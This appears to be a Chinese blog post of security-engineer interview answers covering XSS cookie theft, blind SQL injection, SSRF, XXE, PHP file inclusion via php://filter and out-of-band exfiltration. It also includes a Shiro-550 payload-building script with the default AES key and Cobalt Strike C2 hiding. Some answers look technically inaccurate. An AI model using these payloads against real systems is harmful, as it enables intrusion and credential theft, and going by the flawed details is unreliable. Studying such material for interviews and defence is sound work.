2023年百度外包安全工程师面试题

1 浏览器的跨域了解吗?比如浏览器有个同源策略, xss怎么把cookie传递出来?

        同源策略(Same-Origin Policy),它是一种安全机制,用于防止不同源(域名、协议或端口)之间的恶意跨域操作。同源策略要求网页只能访问与其来源相同的资源,这意味着跨域请求通常会受到限制。
        在XSS(跨站脚本攻击)中,攻击者可以通过注入恶意脚本,利用漏洞来执行恶意操作。攻击者可以尝试通过以下方法将受害者的Cookie传递出来:

  • 通过document.cookie:攻击者可以使用JavaScript代码document.cookie来获取当前网页的Cookie信息,并将其发送到自己的服务器或记录下来。这种方法仅适用于攻击者能够执行恶意脚本并在用户浏览器中执行的情况。
  • 利用跨域资源共享(CORS):如果目标网站允许跨域资源共享(CORS),攻击者可以在自己的网站上设置一个包含目标网站的资源URL,然后通过AJAX请求将Cookie发送到自己的服务器。然而,这需要目标网站明确允许跨域访问,并配置适当的CORS策略。
  • 利用图片标签(img):攻击者可以使用一个带有自己服务器URL的img标签,然后在URL中包含目标网站的Cookie信息。当用户加载恶意网页时,浏览器会尝试加载这个img标签,从而将Cookie发送到攻击者的服务器。这种方法通常用于在XSS攻击中进行信息收集。

2 了解ssrf漏洞吗?可能造成哪些危害? ssrf漏洞与其他漏洞比如redis结合怎么利用?

        SSRF漏洞是一种安全漏洞,攻击者可以通过该漏洞使受攻击的服务器发起对内部资源或其他外部服务的未经授权的请求。这可能导致以下危害:

  • 内部服务探测:攻击者可以利用SSRF漏洞探测目标网络中的内部服务和资源,例如扫描内部端口、发现隐藏的管理界面等。
  • 数据泄露:攻击者可以利用SSRF漏洞获取目标服务器内部的敏感数据,如访问内部API、读取配置文件、访问数据库等。
  • 攻击内部资源:通过SSRF漏洞,攻击者可以对内部资源发起攻击,如攻击内部的管理界面、未授权的文件访问等。
  • 绕过防火墙和安全策略:攻击者可以利用SSRF漏洞绕过防火墙或其他安全控制,直接从内部网络中请求未经授权的外部资源。

        与Redis结合时,攻击者可以利用SSRF漏洞来执行一些特定的操作,例如:

  • 通过SSRF攻击Redis服务器:攻击者可以构造恶意请求,使目标服务器发起对Redis服务器的请求。通过此方式,攻击者可以执行未经授权的操作,如未经身份验证的访问、数据泄露或远程命令执行。
  • 利用Redis作为代理:攻击者可以利用SSRF漏洞将目标服务器作为代理,使其将请求转发给Redis服务器或其他内部服务。这可以用于绕过防火墙或访问内部资源。

        SSRF + Redis 利用方式学习笔记 - 1ndex- - 博客园 (cnblogs.com)


3 mysql盲注,时间盲注,想构造语句获取第一个字符,语句怎么写?

SELECT IF(ASCII(SUBSTR(username,1,1))=97, SLEEP(10), 0) FROM users LIMIT 1;

        上面的查询会检查username字段的第一个字符的ASCII码是否等于97(即字符’a’)。如果条件为真,则查询会延迟10秒,否则不会延迟。


4 了解XXE漏洞吗?有哪些危害?为什么会有这些漏洞?

        XXE漏洞利用了对XML解析器的攻击。当应用程序接受并解析包含恶意实体引用的XML输入时,攻击者可以通过XXE漏洞执行各种恶意操作。

        以下是XXE漏洞可能带来的一些危害:

  • 敏感数据泄露:攻击者可以利用XXE漏洞读取和访问服务器上的敏感文件,如密码文件、配置文件、SSH私钥等。
  • 服务器端请求伪造(SSRF):通过在恶意XML中引用外部实体,攻击者可以利用服务器端发起的XML解析请求来执行服务器端请求伪造攻击,例如访问内部网络中的其他系统或执行未授权的操作。
  • 远程命令执行(RCE):在某些情况下,攻击者可以通过XXE漏洞执行远程命令,从而完全控制受影响的服务器。
  • 拒绝服务(DoS):通过构造恶意XML文件,攻击者可以导致服务器资源消耗殆尽,导致服务不可用。

        XXE漏洞的根本原因是在解析XML时,应用程序未正确限制或禁用外部实体的解析。这使得攻击者能够引用恶意的外部实体,从而导致潜在的安全问题。XXE漏洞的存在可能是由于以下原因:

  • 外部实体(External Entity)的默认解析:在某些XML解析器中,默认启用外部实体的解析功能,导致可能的漏洞。开发人员需要注意这一默认行为并适当配置解析器。
  • 未正确验证和过滤用户提供的XML输入:如果应用程序未正确验证和过滤用户输入的XML数据,攻击者可以构造恶意的XML文件并在其中引用外部实体。

        为了防止XXE漏洞,开发者应采取以下措施:

  • 使用安全的XML解析器和库,确保默认禁用外部实体解析。
  • 仅允许信任的XML实体,或者使用白名单机制来限制解析过程中引用的实体。
  • 对用户提供的XML输入进行严格的输入验证和过滤,以防止恶意实体引用。
  • 对敏感文件和系统资源进行适当的访问控制,避免泄露和滥用。
  • 对任何输入进行合适的输入验证和输出编码,以防止其他类型的攻击(如XSS和SQL注入)。

5 某站点存在命令执行漏洞,经过验证发现没有回显?想知道结果有哪些方法?

  • DNS解析:使用DNS解析来获取命令执行的结果。例如,将命令执行的结果作为子域名发送到您控制的DNS服务器,然后在DNS服务器上查看请求记录来获取结果。
  • 外部服务器:将命令执行的结果发送到外部服务器。例如,使用curl或wget命令将结果作为参数发送到外部服务器上的脚本,然后在外部服务器上查看请求记录来获取结果。
  • 报错信息:尝试利用应用程序的错误处理机制来获取命令执行的结果。例如,构造一个命令,使其在执行时触发一个错误,然后在错误消息中查看命令执行的结果。
  • 时间延迟:使用时间延迟来判断命令是否执行成功。例如,构造一个命令,在执行成功时使应用程序等待一段时间,然后通过观察响应时间来判断命令是否执行成功。

6 php站点中,发现有文件包含漏洞,想读取网站源码,怎么构造语句?

  • 直接读取:可以尝试使用file_get_contents()函数或include语句来读取网站的源代码。

        例如,如果漏洞存在于一个接受filename参数的脚本中,构造类似于以下的URL来读取网站根目录下的index.php文件:

http://www.example.com/vulnerable.php?filename=../../index.php

        上面的URL会将filename参数的值设置为../../index.php,这会导致脚本包含并显示网站根目录下的index.php文件的内容。

  • 伪协议读取:如果使用文件包含漏洞来读取index.php文件,但是脚本直接执行了该文件而不是显示它的内容,那么可以尝试使用其他方法来读取源代码。

        例如,尝试使用PHP的php://filter流包装器来读取文件的内容。php://filter流包装器允许对文件进行过滤和转换。使用它来将文件的内容转换为base64编码,然后再解码以获取源代码。

http://www.example.com/vulnerable.php?filename=php://filter/convert.base64-encode/resource=../../index.php

        上面的URL会将filename参数的值设置为php://filter/convert.base64-encode/resource=../../index.php,这会导致脚本读取网站根目录下的index.php文件,将其内容转换为base64编码,然后显示转换后的结果。复制转换后的结果,然后使用base64解码器来获取源代码。


7 java漏洞了解吗?中间件漏洞?用过哪些?

  • Apache Struts2命令执行漏洞
  • WebLogic反序列化漏洞
  • Tomcat远程代码执行漏洞
  • JBoss反序列化漏洞
  • log4j2远程代码执行漏洞

8 shiro 550为什么会产生那个漏洞?知道key的情况下,自己构造payload怎么去构造?

        Shiro-550是Apache Shiro框架中的一个反序列化漏洞。它存在于Shiro版本<=1.2.4中。该漏洞的产生原因是Shiro在处理RememberMe功能时,使用了硬编码的AES密钥来加密和解密用户身份信息。
        由于AES加密是对称加密,因此当攻击者知道了AES密钥后,就能够构造恶意的RememberMe cookie值来触发反序列化漏洞。


        如果已经知道了AES密钥,那么您可以使用一些工具(如ysoserial)来生成有效载荷。例如,可以使用ysoserial的JRMPClient模块来生成一个JRMP有效载荷,然后使用AES密钥对其进行加密,并将加密后的结果作为RememberMe cookie值发送给服务器。
下面是一个示例Python脚本,它使用ysoserial和pycryptodome库来生成有效载荷并对其进行加密:

import base64
import subprocess
from Crypto.Cipher import AES

def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    mode = AES.MODE_CBC
    iv = b' ' * 16
    encryptor = AES.new(key, mode, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

payload = encode_rememberme('your_command_here')
print("rememberMe={}".format(payload.decode()))

        上面的脚本会调用ysoserial来生成一个JRMP有效载荷,然后使用硬编码的AES密钥对其进行加密,并将加密后的结果作为RememberMe cookie值输出。将输出的RememberMe cookie值发送给服务器来触发反序列化漏洞。


9 java反序列化漏洞原理。

        Java反序列化漏洞是指在Java应用程序中,当不可信的输入被反序列化时,可能会导致远程代码执行、拒绝服务等安全问题。
        Java序列化是指将Java对象转换为字节流的过程,以便将对象持久化到磁盘或通过网络传输。反序列化则是指将字节流转换回Java对象的过程。
        当一个Java应用程序接收到一个不可信的序列化数据并对其进行反序列化时,如果该数据包含了恶意构造的内容,那么就可能触发反序列化漏洞。例如,攻击者可以构造一个特殊的序列化数据,其中包含了执行恶意代码的命令。当应用程序对该数据进行反序列化时,就会执行恶意代码。


        Java反序列化漏洞的产生主要是由于应用程序在处理不可信的输入时没有进行正确的验证和过滤。为了防止Java反序列化漏洞,应用程序应该对所有不可信的输入进行严格的验证和过滤,并避免对不可信的输入进行反序列化。


10 fastjson log4j2 中间件漏洞有用过吗?


11 挖过src吗?


12 内网了解吗?msf 和cs了解吗?


13 用cs生成木马,隐藏cs的server端有哪些方法可以隐藏?

  • 云函数
  • CDN、域前置

        流量加密之C2隐藏-腾讯云开发者社区-腾讯云


14 cs可以生成两种木马,这两种有什么区别?

  • Beacon:Beacon是CS的主要木马类型,它提供了一组丰富的功能,包括执行命令、上传和下载文件、横向移动等。Beacon通过与CS服务器通信来接收命令并返回结果。它支持多种通信协议,包括HTTP、HTTPS、DNS和SMB等。
  • Foreign Listener:Foreign Listener是一种特殊类型的木马程序,它允许您在CS中使用第三方渗透测试工具(如Metasploit)生成的有效载荷。Foreign Listener可以与第三方工具的监听器通信,从而允许您在CS中使用第三方工具的功能。

15 盲打时,发现一个xss,能获取后台地址和管理员cookie,但是地址是内网地址,你怎么去利用?

        配合CSRF

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
百度外包前端面试题红绿灯是一个经典的异步编程问题。题目要求红灯每隔3秒亮一次,绿灯每隔1秒亮一次,黄灯每隔2秒亮一次,并且三个灯需要交替重复亮灯。 题目给出的代码只完成了一次流程,即红灯亮一次,黄灯亮一次,绿灯亮一次。但题目要求的是交替重复亮灯,所以需要对代码进行修改。 可以使用回调函数的方式来实现交替重复亮灯。首先定义一个任务函数`task`,该函数接收三个参数:计时器时间、灯的颜色和回调函数。在`task`函数内部使用`setTimeout`函数来设置定时器,在定时器的回调函数中判断当前灯的颜色并执行相应的操作,然后调用回调函数。在回调函数中再次调用`task`函数来实现循环调用。 具体实现如下: ```javascript const task = (timer, light, callback) => { setTimeout(() => { if (light === 'red') { red() } else if (light === 'green') { green() } else if (light === 'yellow') { yellow() } callback() }, timer) } task(3000, 'red', () => { task(1000, 'green', () => { task(2000, 'yellow', () => { task(3000, 'red', Function.prototype) }) }) }) ``` 上述代码实现了红绿灯的交替重复亮灯,首先通过调用`task`函数来启动红灯,然后在红灯的回调函数中调用`task`函数启动绿灯,再在绿灯的回调函数中调用`task`函数启动黄灯,最后在黄灯的回调函数中再次调用`task`函数启动红灯,从而实现了红绿灯的交替重复亮灯。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* *3* [美团前端一面必会手写面试题汇总](https://blog.csdn.net/helloworld1024fd/article/details/127582853)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_1"}}] [.reference_item style="max-width: 100%"] [ .reference_list ]
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值